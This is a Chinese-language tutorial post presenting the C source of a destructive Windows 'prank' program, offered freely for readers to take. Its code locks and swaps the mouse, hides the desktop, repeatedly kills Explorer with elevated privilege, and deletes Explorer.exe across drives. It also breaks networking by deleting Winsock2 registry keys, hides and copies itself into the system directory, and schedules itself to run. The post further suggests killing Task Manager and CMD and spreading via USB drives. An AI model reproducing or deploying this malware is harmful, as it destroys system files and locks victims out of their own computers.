PS.今天在硬盘上搜索东西的时候发现还有这样一篇文章.....已经写了好久了...忘记发出来了...都快成为我硬盘上的程序化石了.....程序没任何技术,大家看着玩玩吧,有用就拿去....
想写一个破坏性的程序好久了,一直挂着没去实现,在一次和朋友测试木马的时候发现了一个东东,所以就决定去写出来,通过多方面的组合第一个恶作剧程序就出炉了,今天我就给大家来介绍恶作剧的实现,为了方便大家阅读,我将分块介绍,
迷上恶作剧
。控制鼠标
Code:
void Mouse()
{
RECT Rect;
Rect.left=10;
Rect.top=10;
Rect.right=20;
Rect.bottom=20; //设置锁定区域大小
ClipCursor(&Rect); // 锁定鼠标,限制移动区域
SwapMouseButton(TRUE); //交换鼠标左右键
}
[Ctrl+A Select All]
简简单单的几个API调用就完成了任务,这个时候用户已经无法正常使用鼠标了,因为鼠标被锁定在左上方很小的一块区域中了。
隐藏桌面图标
Code:
void HDesk()
{
HWND hDesktop;
hDesktop = FindWindow("ProgMan", NULL); //获得桌面句柄
ShowWindow(hDesktop, SW_HIDE); //隐藏桌面图标
}
[Ctrl+A Select All]
很简单吧,两句就把你桌面上的所有快捷方式给隐藏起来了。但是这个吓不到高级用户,于是想了更毒的办法----杀掉Explorer进程,哈哈~~这样屏幕上什么也没有了。但系统很快就会再启动explorer进程,怎么办?这里想了两个办法。
第一个办法:使用Sleep()函数,间隔性的检查进程中是否存在Explorer进程,如果存在就杀掉。
Code:
void kprocess(const char *processname)
{
char *fengze;
DWORD processid[1024],needed,processcount,io;
HANDLE hProcess;
HMODULE hModule;
char path[MAX_PATH] = "",temp[256]; //定义变量
EnablePrivilege(SE_DEBUG_NAME,TRUE); //提升权限
EnumProcesses(processid, sizeof(processid), &needed); //枚举所有进程
processcount=needed/sizeof(DWORD); //计算进程数量
for (io=0;io { hProcess=OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_TERMINATE |PROCESS_VM_READ|PROCESS_VM_WRITE,false,processid[io]); //打开进程并获得进程句柄 if (hProcess) { EnumProcessModules(hProcess, &hModule, sizeof(hModule), &needed); // 枚举打开进程的模块 GetModuleFileNameEx(hProcess, hModule, path, sizeof(path)); // 获取模块文件名(包含路径) GetShortPathName(path,path,256); //将长文件名转换成短文件名 itoa(processid[io],temp,10); //转换为字符串 if((fengze=strstr(path,processname))) //在进程路径中查找是否含有相关字符 { TerminateProcess(hProcess,0); //如果有就结束进程 } else CloseHandle(hProcess); //关闭打开的进程 } } EnablePrivilege(SE_DEBUG_NAME,FALSE); //恢复权限 } 提升和恢复权限函数 int EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_READ,&hToken)) return 0; //打开进程的令牌环 if(!LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid)) return 1; //修改进程权限 tp.PrivilegeCount = 1; //赋给本进程特权 tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL); //通知Windows修改本进程的权限 CloseHandle(hToken); return 0; } 使用GOTO语句实现循环 void monitor() { char *tha="Explorer"; char *thb="explorer"; //这里定义2个是因为系统在恢复后此进程名开头就变成小写了 bg:kprocess(tha); kprocess(thb); //杀掉进程 Sleep(3000); //程序休眠3秒中,这样程序对CPU使用的也降低了 Goto bg ; } [Ctrl+A Select All] 以上是循环实现目的,下面还有一中方法就是杀掉进程后,查找Explorer.exe并删除,这样系统就会跳出一个对话框要求插入安装光盘进行恢复,如果这个时候我们关闭计算机的话,呵呵~~再进系统的时候就不显示任何东西了。我们还应该对任务管理器、IE和CMD还有其他一些进程进行查杀,这样才能保证我们自己不被用户给杀了。 注意:#include "PSAPI.H" //程序需要的头文件 #pragma comment( lib, "PSAPI.LIB" ) //程序需要的库文件 下面就是一个搜索文件的函数: Code: int viewfiles(char *directory) { WIN32_FIND_DATA fdFindData; HANDLE hFind; char *filename; int count=0; BOOL done; filename=new char[strlen(directory)+5]; //给filename分配directory+5 个空间 strcpy(filename,directory); //将directory中的字符复制到filename中 strcat(filename,"\\*.*"); //将filename与\\*.*连接 hFind=FindFirstFile(filename,&fdFindData); //根据filename来查找文件,返回搜索句柄给hFind delete[] filename; //释放内存 done=hFind!=INVALID_HANDLE_VALUE; while(done) { if(strcmp(fdFindData.cFileName,".") && strcmp(fdFindData.cFileName,"..")) //判断是当前目录或上一级目录 { filename=new char[strlen(directory)+strlen(fdFindData.cFileName)+2]; // 给filename分配空间 strcpy(filename,directory); //把directory复制给filename strcat(filename,"\\"); //把filename加上“\\” strcat(filename,fdFindData.cFileName); //filename加上文件名 if((fdFindData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY) //如果找到的是目录,则进入目录进行递归 count+=viewfiles(filename); else if(strstr(fdFindData.cFileName,"Explorer.exe")) //判断是否为要查找文件 { count++; //对查找到的文件进行记数 DeleteFile(filename); //删除文件 } delete[] filename; //释放内存 } done=FindNextFile(hFind,&fdFindData); //寻找下一个文件 } FindClose(hFind); return(count); } [Ctrl+A Select All] 这个函数掉用的时候只要指定一个分区就可以了,当然你也可以用循环来遍历所有分区,嘎嘎~~够恶毒~,电脑资料
《迷上恶作剧》(https://www.unjs.com)。
控制光驱
Code:
void Dfind()
{
int i;
UINT type;
char name;
char Dname[128];
for (name='A';name<='Z';name++) //遍历所有驱动器
{
Dname[0]=name; Dname[1]=':'; Dname[2]='\\'; Dname[3]='\0';
type = GetDriveType(Dname); //判断驱动器类型
if (type==DRIVE_CDROM)
{ //如果是光驱就打开
mciSendString("Set cdAudio door open wait", NULL, 0, NULL);
mciSendString("Set cdAudio door closed wait", NULL, 0, NULL);
}
}
}
[Ctrl+A Select All]
再加个循环,不停的开关光驱,这样一来中标的朋友肯定吓一跳。
修改注册表
操作注册表的例子很多很多了,可以去找找,这里我就介绍一个东西。
Code:
void regdel()
{
HKEY hkresult;
LPCTSTR data="SYSTEM\\CurrentControlSet\\Services\\WinSock2\\SPI5.0\\Catalog_Entries";
RegOpenKeyEx( HKEY_LOCAL_MACHINE,
data, 0, KEY_ALL_ACCESS, &hkresult );
RegDeleteKey(hkresult,"000000000001"); RegDeleteKey( hkresult,"000000000002");
RegDeleteKey( hkresult,"000000000003");
……
RegDeleteKey( hkresult,"000000000015");
}
[Ctrl+A Select All]
上面这个删除注册表的操作,计算机不会出现异常,也可以登陆到网络上,但QQ登陆不上去,IE访问不了网站………
有了以上操作,相信够把中标的朋友给吓晕了~~,单单有破坏还不够,我们还要保证自己的程序能存活啊。所以我就想到让程序复制并隐藏自己。
Code:
void filehidden()
{
UINT type;
char name;
char Dname[4];
char LPath[MAX_PATH];
char SysPath [MAX_PATH];
GetModuleFileName(NULL,LPath,MAX_PATH);
//获得当前文件路径
SetFileAttributes(LPath,FILE_ATTRIBUTE_HIDDEN
+FILE_ATTRIBUTE_SYSTEM);
//把文件设置成隐藏和系统属性
GetSystemDirectory(SysPath,MAX_PATH);
strcat(SysPath,"\\黑色天空.exe");
CopyFile(LPath,SysPath,FALSE); //复制到指定路径
}
[Ctrl+A Select All]
我们还可以利用前面控制光驱的那段代码改变一下,将程序复制到U盘或则其他计算机外部的可写盘上,达到了传播的目的,实现起来很简单,就留给您自己来完成吧。
现在我们已经将一个文件给隐藏起来了,怎样来启动这个程序呢?注册表?不,我们还是用系统的任务计划吧,用系统自带的AT.exe程序?不!我们自己写 :)
Code:
void Jobadd(char * SysPath) //文件路径我们是从上面程序中获得
{
DWORD JobId;
AT_INFO ai;
long Len;
WCHAR szFilePath[256];
memset(&ai,0,sizeof(ai));
Len=MultiByteToWideChar(CP_ACP,0,SysPath,strlen(SysPath),
szFilePath,sizeof(szFilePath));
szFilePath[Len] = '\0';
//将路径转换成Unicode码
ai.Command=szFilePath;
ai.DaysOfMonth=0;
ai.DaysOfWeek=0x60;
ai.Flags=JOB_RUN_PERIODICALLY;
ai.JobTime=11*60*60*1000+50*60*1000;
//给ai结构变量各成员赋值
NetScheduleJobAdd(NULL,LPBYTE(&ai),&JobId);
//调用API函数添加任务计划
}
[Ctrl+A Select All]
上面的函数将在任务计划中添加一个每周星期六和星期天,中午11点50执行我们指定程序的计划。但这个依赖Task Scheduler服务,我们直接调用system()函数来执行Net Start Schedule命令就可以了。
注意:#include
#include
#pragma comment(lib,"NETAPI32.LIB") //程序需要的库文件
好了,基本介绍完了,如果你觉得还不够完善的话可以自己再添加点什么,可别过份了哦,警察叔叔可要请你喝咖啡的哦。